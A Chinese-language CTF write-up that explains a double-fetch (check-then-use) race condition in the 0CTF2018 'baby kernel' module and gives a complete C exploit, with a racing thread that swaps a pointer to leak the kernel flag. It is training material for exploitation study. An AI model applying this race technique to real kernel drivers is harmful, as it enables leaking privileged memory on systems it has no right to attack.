Race condition——double fetch
Race condition——double fetch
kernel pwn好玩捏
原理
由于kernel pwn可以由我们自己编写用户态程序,因此我们可以利用通过条件竞争实现某些效果,如先利用合法数据跳过某些检查,再在取值检查和取值操作两步中间用另一个线程修改相关数据,来让不安全数据通过检查。
例题 0CTF2018 Final - baby kernel
misc_register
baby.ko在初始化时有下面的操作:
misc_register(&baby);
这个函数有如下介绍:
misc_register 是 Linux 内核中的一个函数,用于注册一个杂项设备(misc device)。杂项设备是一种不适合归类为字符设备、块设备或网络设备的设备,通常用于一些特殊的小型设备或功能。这个函数用于将这些杂项设备添加到内核中,以便用户空间可以通过文件系统接口与其进行交互。
函数原型如下:
int misc_register(struct miscdevice * misc);
参数 misc 是一个指向 struct miscdevice 结构的指针,用于描述要注册的杂项设备的属性和操作。下面是 struct miscdevice 的定义:
struct miscdevice {
int minor; // 次设备号
const char *name; // 设备名称
const struct file_operations *fops; // 文件操作结构指针
struct list_head list; // 内核链表,用于管理杂项设备
struct device *parent; // 父设备指针
struct device *this_device; // 指向自身的设备指针
const char *nodename; // 设备节点名称
umode_t mode; // 节点权限
};
简要解释一下这些字段:
minor: 次设备号,用于唯一标识设备。
name: 设备名称,在 /dev 目录下会生成相应的设备文件。
fops: 指向设备的文件操作函数表(例如读取、写入、控制等)。
list: 内核链表,用于将杂项设备连接到内核的杂项设备列表中。
parent: 父设备指针,通常设置为 NULL。
this_device: 指向自身的设备指针。
nodename: 设备节点名称,可以是 NULL。
mode: 设备节点的权限模式。
当你调用 misc_register 函数并提供一个填充了必要信息的 struct miscdevice 结构后,内核会将这个杂项设备添加到系统中,使其可以在用户空间通过文件系统接口进行访问。
例如,假设你有一个名为 baby 的杂项设备,并且你已经填充好了一个相应的 struct miscdevice 结构,那么你可以通过以下方式调用 misc_register 函数:
struct miscdevice baby_device = {
.minor = MISC_DYNAMIC_MINOR,
.name = "baby",
.fops = &baby_fops,
.mode = 0666
};
int result = misc_register(&baby_device);
if (result != 0) {
// 注册失败处理
}
其中,baby_fops 是一个指向定义了设备操作函数的结构体指针,0666 表示节点权限。
这个设备可以在/dev目录下找到,可以通过open与其交互
地址检查
ioctl的command为0x6666时其中一个功能可以打印flag地址。
另一个分支需要传入以下结构,如果地址和长度与内核中的flag一致则打印flag:
struct flag{
char* flag_addr;
int len;
}
同时还调用了如下函数
bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3)
{
bool v3; // cf
unsigned __int64 v4; // rdi
v3 = __CFADD__(a2, a1);
v4 = a2 + a1;
return v3 || a3 < v4;
}
CFADD(a2, a1)这一句就是看相加结果是否标记了CF位,即是否发生了进位。
函数执行中,a1传入的是flag_addr,第二个参数是0x10或者flag_len,第三个参数传入的是一个定值0x7ffffffff000。也就是说这个flag_addr加0x10不能溢出,并且加上长度不能超过上面那个值。
因为内核数据的地址都是0xffffffff打头的,直接传入内核地址过不去检查。因此这里就可以用条件竞争,先让struct flag内的flag_addr为用户空间地址(计算后一般都能过检查),同时开启一个线程,将结构体内的flag_addr修改为之前打印的内核空间flag地址。就能通过检测了。
设备printk打印的信息可以通过dmesg命令来查看,可以使用grep配合>来讲打印的内容放到文件里,再通过读取输出文件得到flag。
EXP
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <pthread.h>
int fd;
char recv[0x100]={0};
pthread_t compete_thread;
size_t flag_addr;
int status=1;
int backdoor(){
system("/bin/sh");
return 0;
}
unsigned long long user_cs=0,user_ss=0,user_sp=0,user_rflags=0;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
struct{
char* addr;
int len;
}flag={0,33};
void competetionThread(){
while(status){
flag.addr=flag_addr;
}
}
int main(){
save_status();
fd=open("/dev/baby",O_RDWR);
ioctl(fd,0x6666,0);
system("dmesg |grep flag> recv.txt");
int flag_addr_fd=open("./recv.txt",O_RDWR);
read(flag_addr_fd,recv,0x100);
char * addr_start=strstr(recv,"Your flag is at ")+strlen("Your flag is at ");
flag_addr=strtoull(addr_start,addr_start+16,16);
flag.addr=recv;
printf("GET FLAG ADDR: %lx\n",flag_addr);
pthread_create(&compete_thread, NULL, competetionThread, NULL);
while(status){
for(int i = 0; i < 2000; i++)
{
flag.addr = recv;
ioctl(fd, 0x1337, &flag);
}
system("dmesg | grep flag > output.txt");
int output_fd = open("./output.txt", O_RDONLY);
char flag[0x300]={0};
read(output_fd, flag, 0x300);
if (strstr(flag, "flag{"))
status = 0;
}
pthread_cancel(compete_thread);
return 0;
}
编译要注意的点
用gcc编译得这样写:
gcc --static -masm=intel -g -o exp exp.c -pthread
用musl得这样写:
musl-gcc --static -masm=intel -g -o exp exp.c -pthread
pthread需要额外加上参数-pthread